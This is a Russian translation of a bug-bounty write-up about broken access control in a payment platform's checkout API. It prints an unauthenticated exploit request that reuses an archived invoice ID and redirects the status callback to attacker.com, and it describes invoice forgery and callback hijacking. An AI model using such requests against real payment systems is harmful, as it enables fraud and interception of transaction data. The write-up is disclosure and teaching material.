Adm1ngmz 9 июн в 14:05

Нарушение контроля доступа в API платёжной платформы — как мне удалось создавать и подделывать счета

4 мин

2.1K

Информационная безопасность*Bug hunters*

Перевод

Автор оригинала: Mustafa Adam Qamar El-Din

Привет, охотники! Это мой новый разбор, и он посвящён очень интересной находке — нарушению контроля доступа в платёжной платформе, благодаря которому у меня получилось создавать и подделывать счета.

Давайте начнём…

Введение

Изучая онлайн-платформу для обработки платежей на предмет возможных уязвимостей, я обнаружил критическую проблему с контролем доступа. Она позволяла любому пользователю создавать счета, привязанные к существующим идентификаторам — без какой-либо аутентификации или авторизации. Такая ошибка в настройках может легко привести к имперсонации, фишингу или даже мошенничеству в крупном размере, если этим воспользуются злоумышленники.

В этом посте я расскажу, как обнаружил уязвимость, о своём подходе и о том, как я сообщил о ней. Как и всегда, никаких конфиденциальных данных получено не было и никакого реального вреда нанесено не было.

Цель

Давайте назовём её vulnerable.com. Эта платформа предоставляет услуги по обработке платежей и оформлению заказов для продавцов. Меня особо заинтересовал их API для оформления заказов, а именно такой эндпоинт:

https://checkoutv2.vulnerable.com/v1/checkout/create

Разведка

Я начал своё исследование checkoutv2.vulnerable.com следующим образом:

Фаззинг
Поиск старых URL и параметров через архивы
Просмотр сайта и отслеживание сетевых запросов во время процесса оформления заказа
Использование инструментов вроде Burp Suite для перехвата трафика
Проверка архивных версий сайта через Wayback Machine

В архиве Wayback Machine я нашёл такой эндпоинт:

https://checkoutv2.vulnerable.com/v1/checkout/create

Этапы:

1 – Когда я попытался получить доступ к нему через браузер, я увидел:

Метод GET не разрешён, поэтому я поменял его на POST через Burp Suite.

2 – После того как я получил доступ через Burp, я увидел:

Он принимает только тип содержимого — json

3 – Затем я добавил в запрос Content-Type text/json и поместил случайные значения JSON в тело запроса:

{

“new”: ”hello”

}

И как видно на изображении выше, бэкэнд отвечает такими JSON-параметрами —

“invoiceIdentifier”,

"payCurrency",

"checkStatusUrl"

Это навело меня на мысль — а что если я повторно использую старый ID счета с этими же JSON-параметрами?

Я снова воспользовался Wayback Machine, чтобы найти возможные ID счетов:

4 – Эксплойт:

POST /v1/checkout/create HTTP/2
Host: checkoutv2.vulnerable.com
Content-Type: application/json

{
“invoiceIdentifier”: “00000000000000000000000000000000000”,
“payCurrency”: “usd”,
“checkStatusUrl”: “https://attacker.com"
}

И… бум 💥 — я получил успешный ответ:

HTTP/2 200 OK
Date: Tue, 27 May 2025 16:18:34 GMT
Content-Type: application/json
Cache-Control: no-cache, private
X-Robots-Tag: noindex

{
“data”: {
“isSuccess”: true,
“message”: “”,
“txid”: “0000000000000000000000000000000000000”
},
“status”: 1
}

Нет токена аутентификации
Нет сессионной cookie
Нет привязки аккаунта
Нет проверки владельца по идентификатору счета

Это классическая уязвимость типа Broken Access Control.

Я решил проверить, был ли созданный мной счет успешно оформлен. Для этого я перешел по этому эндпоинту из результатов wayback machine:

https://checkoutv2.vulnerable.com/v1/checkout/check-invoice-status/invoice-id

И угадайте что… Бууум! Он в статусе «ожидание», а это значит, что запрос на создание счета прошел успешно.

Я был словно...

Что может пойти не так?

Эта уязвимость открывает двери для нескольких вариантов атак:

Подделка счетов: злоумышленник может генерировать транзакции, привязанные к счетам, которыми он не владеет.
Имитация продавца: эти поддельные счета могут использоваться в фишинговых кампаниях или мошенничестве.
Callback Hijacking: контролируемый злоумышленником checkStatusUrl, позволяет похищать статус транзакции или конфиденциальные данные.

Представьте, если злоумышленники зарегистрируют сотни транзакций, указывающих на их собственные сервера проверки статуса. Это не просто логическая ошибка — это потенциальный финансовый риск.

Реакция команды кибербезопасности компании:

К сожалению это был дубль, уязвимость уже была найдена внутренней командой по тестированию и мониторингу компании :)

Ответственность при тестировании

Из уважения к платформе и её пользователям, я не стал продолжать тестирование после подтверждения уязвимости. Я прекратил тесты, как только увидел, что система принимает повторно используемые идентификаторы счетов, и удостоверился, что ни одни реальные пользовательские данные не были затронуты.

Основные выводы

Всегда проверяйте владельца объекта на бэкенд-эндпойнтах — даже если считаете их «внутренними».
Никогда не доверяйте пользовательскому вводу при операциях, критичных для безопасности, например, при генерации счетов.
Архивы типа Wayback Machine могут быть настоящей находкой для тестирования устаревших или забытых идентификаторов.

Финальные мысли

Это была интересная и полезная находка. Она напомнила мне, к каким серьёзным уязвимостям могут привести один раскрытый UUID и отсутствие проверки. Респект вендору за достойную реакцию!

На этом всё. Надеюсь, вам было интересно и вы узнали что-то новое.

Ещё больше познавательного контента в Telegram-канале — Life-Hack - Хакер

Хабы: